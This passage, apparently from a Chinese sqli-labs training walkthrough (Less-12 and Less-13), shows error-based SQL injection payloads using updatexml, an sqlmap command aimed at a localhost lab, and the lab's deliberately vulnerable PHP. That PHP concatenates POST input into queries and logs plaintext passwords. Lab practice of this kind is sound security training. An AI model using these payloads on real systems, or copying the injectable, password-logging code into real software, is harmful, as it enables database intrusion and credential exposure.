3）手工注入

Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0

uname=111") UNION ALL SELECT 1,updatexml(1,concat(0x7e,database()),1) #&passwd=111&submit=Submit

4）注入点代码

// take the variables
if(isset($_POST[‘uname‘]) && isset($_POST[‘passwd‘]))
{
$uname=$_POST[‘uname‘];
$passwd=$_POST[‘passwd‘];
 
//logging the connection parameters to a file for analysis.
$fp=fopen(‘result.txt‘,‘a‘);
fwrite($fp,‘User Name:‘.$uname."\n");
fwrite($fp,‘Password:‘.$passwd."\n");
fclose($fp);
 
 
// connectivity
$uname=‘"‘.$uname.‘"‘;   //双引号闭合
$passwd=‘"‘.$passwd.‘"‘;
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

• Less-13- Double Injection- String- with twist

1）知识点

    主要考察报错注入中的单引号+括号闭合注入情况。

2）工具用法：

sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-13/index.php" --data "uname=111*&passwd=111&submit=Submit" --current-db --threads 10 --batch --technique BES

3）手工注入

Content-Length: 93
 
uname=111‘) union select 1,updatexml(1,concat(0x7e,database()),1) #&passwd=111&submit=Submit

4）注入点产生代码

// take the variables
if(isset($_POST[‘uname‘]) && isset($_POST[‘passwd‘]))
{
$uname=$_POST[‘uname‘];
$passwd=$_POST[‘passwd‘];
 
//logging the connection parameters to a file for analysis.
$fp=fopen(‘result.txt‘,‘a‘);
fwrite($fp,‘User Name:‘.$uname."\n");
fwrite($fp,‘Password:‘.$passwd."\n");
fclose($fp);
 
 
// connectivity
@$sql="SELECT username, password FROM users WHERE username=(‘$uname‘) and password=(‘$passwd‘) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
